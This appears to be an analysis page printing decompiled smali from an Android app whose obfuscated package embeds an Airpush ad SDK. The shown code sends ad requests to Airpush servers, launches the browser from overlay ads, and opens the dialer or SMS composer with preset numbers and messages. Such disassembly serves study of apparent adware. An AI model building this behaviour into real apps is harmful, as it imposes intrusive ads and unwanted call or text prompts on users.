15 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
17 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
18 | move-result-object v0 | |
20 | const-string v2, "rich_media" | |
22 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
23 | move-result v0 | |
24 | if-eqz v0, :cond_c1 | |
26 | const-string v5, "https://api.airpush.com/mraid/mraidadcall.php" | |
28 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
30 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z | |
31 | move-result v0 | |
32 | if-eqz v0, :cond_2a | |
34 | const-string v5, "https://api.airpush.com/mraid/adcall.php" | |
35 | cond_2a: new-instance v4, Ljava/util/ArrayList; | |
37 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
38 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
40 | const-string v2, "banner_type" | |
42 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
44 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
45 | move-result-object v3 | |
47 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
49 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
50 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
52 | const-string v2, "supports" | |
53 | new-instance v3, Ljava/lang/StringBuilder; | |
55 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
57 | const-string v6, "" | |
59 | invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
60 | move-result-object v3 | |
62 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
64 | invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
65 | move-result-object v6 | |
67 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject; | |
68 | move-result-object v6 | |
70 | invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
71 | move-result-object v3 | |
73 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
74 | move-result-object v3 | |
76 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
78 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
79 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
81 | const-string v2, "placement_type" | |
82 | new-instance v3, Ljava/lang/StringBuilder; | |
84 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
86 | const-string v6, "" | |
88 | invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
89 | move-result-object v3 | |
91 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
93 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$400(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
94 | move-result-object v6 | |
96 | invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
97 | move-result-object v3 | |
99 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
100 | move-result-object v3 | |
102 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
104 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
105 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
107 | const-string v2, "canShowMR" | |
109 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
111 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$500(Lcom/vxjxu/jkhfn1870/AdView;)Z | |
112 | move-result v3 | |
114 | invoke-static {v3}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String; | |
115 | move-result-object v3 | |
117 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
119 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
120 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
122 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
124 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
125 | move-result-object v2 | |
126 | const-wide/16 v6, 0x0 | |
127 | move-object v3, p0 | |
129 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
131 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
132 | new-instance v2, Ljava/lang/Thread; | |
134 | const-string v3, "AdView" | |
136 | invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
138 | invoke-static {v0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->access$602(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/Thread;)Ljava/lang/Thread; | |
140 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
142 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$600(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/Thread; | |
143 | move-result-object v0 | |
145 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
146 | return-void | |
147 | cond_c1: | |
148 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
150 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
151 | move-result-object v0 | |
152 | if-eqz v0, :cond_e5 | |
154 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
156 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
157 | move-result-object v0 | |
159 | const-string v2, "inappad" | |
161 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
162 | move-result v0 | |
163 | if-eqz v0, :cond_e5 | |
165 | const-string v5, "https://api.airpush.com/inappads/inappadcall.php" | |
167 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
169 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z | |
170 | move-result v0 | |
171 | if-eqz v0, :cond_2a | |
173 | const-string v5, "https://api.airpush.com/inappads/testinappadcall.php" | |
174 | goto/16 :goto_2a | |
175 | cond_e5: | |
176 | const-string v5, "https://api.airpush.com/bannerads/banneradcall.php" | |
178 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
180 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$300(Lcom/vxjxu/jkhfn1870/AdView;)Z | |
181 | move-result v0 | |
182 | if-eqz v0, :cond_2a | |
184 | const-string v5, "https://api.airpush.com/bannerads/testbanner.php" | |
185 | goto/16 :goto_2a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: | |
3 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
4 | try_start_3: | |
5 | const-string v4, "com.android.browser" | |
7 | const-string v0, "com.android.browser.BrowserActivity" | |
8 | new-instance v3, Landroid/content/Intent; | |
10 | const-string v5, "android.intent.action.VIEW" | |
12 | invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
13 | move-result-object v6 | |
15 | invoke-direct {v3, v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
16 | const/high16 v5, 0x10000000 | |
18 | invoke-virtual {v3, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
19 | const/high16 v5, 0x800000 | |
21 | invoke-virtual {v3, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
23 | const-string v5, "android.intent.category.LAUNCHER" | |
25 | invoke-virtual {v3, v5}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent; |
|
27 | invoke-virtual {v3, v4, v0}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
29 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
31 | invoke-virtual {v5, v3}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
33 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
35 | const-string v6, "DAU" | |
37 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
38 | move-result v5 | |
39 | if-nez v5, :cond_47 | |
41 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
43 | const-string v6, "DCC" | |
45 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
46 | move-result v5 | |
47 | if-nez v5, :cond_47 | |
49 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
51 | const-string v6, "DCM" | |
53 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
54 | move-result v5 | |
55 | if-eqz v5, :cond_4d | |
56 | cond_47: | |
57 | const-string v5, "44" | |
59 | invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
60 | goto_4c: return-void | |
61 | cond_4d: | |
62 | const-string v5, "24" | |
64 | invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
65 | try_end_52: goto/16 :goto_4c | |
66 | catch_53: move-exception v1 | |
67 | try_start_54: | |
68 | const-string v5, "AirplaySDK" | |
70 | const-string v6, "Browser not found." | |
72 | invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
73 | new-instance v2, Landroid/content/Intent; | |
75 | const-string v5, "android.intent.action.VIEW" | |
77 | invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
78 | move-result-object v6 | |
80 | invoke-direct {v2, v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
81 | const/high16 v5, 0x10000000 | |
83 | invoke-virtual {v2, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
84 | const/high16 v5, 0x800000 | |
86 | invoke-virtual {v2, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
88 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
90 | invoke-virtual {v5, v2}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
92 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
94 | const-string v6, "DAU" | |
96 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
97 | move-result v5 | |
98 | if-nez v5, :cond_93 | |
100 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
102 | const-string v6, "DCC" | |
104 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
105 | move-result v5 | |
106 | if-nez v5, :cond_93 | |
108 | sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String; | |
110 | const-string v6, "DCM" | |
112 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
113 | move-result v5 | |
114 | if-eqz v5, :cond_c1 | |
115 | cond_93: | |
116 | const-string v5, "44" | |
118 | invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
119 | goto_98: | |
120 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
122 | invoke-virtual {v5}, Landroid/app/Activity;->finish()V | |
123 | try_end_9d: goto/16 :goto_4c | |
124 | catch_9e: move-exception v1 | |
126 | const-string v5, "AirplaySDK" | |
127 | new-instance v6, Ljava/lang/StringBuilder; | |
129 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
131 | const-string v7, "Error whlie displaying dialog ad......: " | |
133 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
134 | move-result-object v6 | |
136 | invoke-virtual {v1}, Landroid/content/ActivityNotFoundException;->getMessage()Ljava/lang/String; | |
137 | move-result-object v7 | |
139 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
140 | move-result-object v6 | |
142 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
143 | move-result-object v6 | |
145 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
147 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
149 | invoke-virtual {v5}, Landroid/app/Activity;->finish()V | |
150 | goto/16 :goto_4c | |
151 | try_start_c1: | |
152 | const-string v5, "24" | |
154 | invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
155 | try_end_c6: goto/16 :goto_98 | |
156 | catch_c7: move-exception v1 | |
158 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
160 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
162 | invoke-virtual {v5}, Landroid/app/Activity;->finish()V | |
163 | goto/16 :goto_4c |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String; | |
4 | const-string v4, "BAU" | |
6 | invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
7 | move-result v3 | |
8 | if-eqz v3, :cond_33 | |
10 | const-string v3, "AirplaySDK" | |
12 | const-string v4, "Banner url Ads....." | |
14 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
15 | try_start_11: new-instance v1, Landroid/content/Intent; | |
17 | const-string v3, "android.intent.action.VIEW" | |
19 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->url:Ljava/lang/String; | |
21 | invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
22 | move-result-object v4 | |
24 | invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
25 | const/high16 v3, 0x10000000 | |
27 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
29 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context; | |
31 | invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
32 | goto_28: return-void | |
33 | catch_29: move-exception v0 | |
34 | try_start_2a: | |
35 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
36 | try_end_2d: goto/16 :goto_28 | |
37 | catch_2e: move-exception v0 | |
39 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
40 | goto/16 :goto_28 | |
41 | cond_33: | |
42 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String; | |
44 | const-string v4, "BACC" | |
46 | invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
47 | move-result v3 | |
48 | if-eqz v3, :cond_74 | |
50 | const-string v3, "AirplaySDK" | |
52 | const-string v4, "Banner CC Ads....." | |
54 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
55 | try_start_44: new-instance v3, Ljava/lang/StringBuilder; | |
57 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
59 | const-string v4, "tel:" | |
61 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
62 | move-result-object v3 | |
64 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String; | |
66 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
67 | move-result-object v3 | |
69 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
70 | move-result-object v3 | |
72 | invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
73 | move-result-object v2 | |
74 | new-instance v1, Landroid/content/Intent; | |
76 | const-string v3, "android.intent.action.DIAL" | |
78 | invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
79 | const/high16 v3, 0x10000000 | |
81 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
83 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context; | |
85 | invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
86 | try_end_6e: goto/16 :goto_28 | |
87 | catch_6f: move-exception v0 | |
88 | try_start_70: | |
89 | invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->printStackTrace()V | |
90 | goto/16 :goto_28 | |
91 | cond_74: | |
92 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String; | |
94 | const-string v4, "BACM" | |
96 | invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
97 | try_end_7b: move-result v3 | |
98 | if-eqz v3, :cond_b1 | |
99 | try_start_7e: | |
100 | const-string v3, "AirplaySDK" | |
102 | const-string v4, "Banner CM Ads....." | |
104 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
105 | new-instance v1, Landroid/content/Intent; | |
107 | const-string v3, "android.intent.action.VIEW" | |
109 | invoke-direct {v1, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
110 | const/high16 v3, 0x10000000 | |
112 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
114 | const-string v3, "vnd.android-dir/mms-sms" | |
116 | invoke-virtual {v1, v3}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent; |
|
118 | const-string v3, "address" | |
120 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String; | |
122 | invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
124 | const-string v3, "sms_body" | |
126 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->sms:Ljava/lang/String; | |
128 | invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
130 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context; | |
132 | invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
133 | try_end_a9: goto/16 :goto_28 | |
134 | catch_ab: move-exception v0 | |
135 | try_start_ac: | |
136 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
137 | goto/16 :goto_28 | |
138 | cond_b1: new-instance v3, Ljava/lang/StringBuilder; | |
140 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
142 | const-string v4, "Invalid ad type for banner ad." | |
144 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
145 | move-result-object v3 | |
147 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String; | |
149 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
150 | move-result-object v3 | |
152 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
153 | move-result-object v3 | |
155 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printLog(Ljava/lang/String;)V | |
156 | try_end_c9: goto/16 :goto_28 | |
157 | catch_cb: move-exception v3 | |
158 | goto/16 :goto_28 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "banner_type" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/high16 v7, 0x3f000000 # 0.5f | |
4 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
5 | move-result-object v6 | |
7 | invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; | |
8 | move-result-object v6 | |
10 | invoke-virtual {v6}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics; | |
11 | move-result-object v0 | |
12 | iget v2, v0, Landroid/util/DisplayMetrics;->density:F | |
13 | if-eqz p1, :cond_1a | |
15 | const-string v6, "image" | |
17 | invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
18 | move-result v6 | |
19 | if-nez v6, :cond_22 | |
20 | cond_1a: | |
21 | const-string v6, "text" | |
23 | invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
24 | move-result v6 | |
25 | if-eqz v6, :cond_dd | |
26 | cond_22: | |
27 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
28 | move-result-object v6 | |
30 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z | |
31 | move-result v6 | |
32 | if-eqz v6, :cond_c5 | |
33 | const/high16 v6, 0x42b40000 # 90.0f | |
34 | mul-float/2addr v6, v2 | |
35 | add-float/2addr v6, v7 | |
36 | float-to-int v6, v6 | |
37 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
38 | const/16 v6, 0x5a | |
39 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
40 | const/high16 v6, 0x44360000 # 728.0f | |
41 | mul-float/2addr v6, v2 | |
42 | add-float/2addr v6, v7 | |
43 | float-to-int v6, v6 | |
44 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
45 | const/16 v6, 0x2d8 | |
46 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
47 | cond_42: iget v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
48 | iget v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
49 | iget v6, v0, Landroid/util/DisplayMetrics;->heightPixels:I | |
50 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
51 | if-ge v6, v7, :cond_4e | |
52 | iget v3, v0, Landroid/util/DisplayMetrics;->heightPixels:I | |
53 | cond_4e: iget v6, v0, Landroid/util/DisplayMetrics;->widthPixels:I | |
54 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
55 | if-ge v6, v7, :cond_56 | |
56 | iget v4, v0, Landroid/util/DisplayMetrics;->widthPixels:I | |
57 | cond_56: iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
58 | int-to-float v6, v6 | |
59 | int-to-float v7, v3 | |
60 | div-float v1, v6, v7 | |
61 | iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
62 | int-to-float v6, v6 | |
63 | int-to-float v7, v4 | |
64 | div-float v5, v6, v7 | |
65 | cmpl-float v6, v1, v5 | |
66 | if-lez v6, :cond_ff | |
67 | iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
68 | int-to-float v6, v6 | |
69 | div-float/2addr v6, v1 | |
70 | float-to-int v6, v6 | |
71 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
72 | iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
73 | int-to-float v6, v6 | |
74 | div-float/2addr v6, v2 | |
75 | float-to-int v6, v6 | |
76 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
77 | new-instance v6, Ljava/lang/StringBuilder; | |
79 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
81 | const-string v7, "if: " | |
83 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
84 | move-result-object v6 | |
86 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder; | |
87 | move-result-object v6 | |
89 | const-string v7, " " | |
91 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
92 | move-result-object v6 | |
94 | invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder; | |
95 | move-result-object v6 | |
97 | const-string v7, " " | |
99 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
100 | move-result-object v6 | |
101 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
103 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
104 | move-result-object v6 | |
106 | const-string v7, " " | |
108 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
109 | move-result-object v6 | |
110 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
112 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
113 | move-result-object v6 | |
115 | const-string v7, " " | |
117 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
118 | move-result-object v6 | |
119 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
121 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
122 | move-result-object v6 | |
124 | const-string v7, " " | |
126 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
127 | move-result-object v6 | |
128 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
130 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
131 | move-result-object v6 | |
133 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
134 | move-result-object v6 | |
136 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
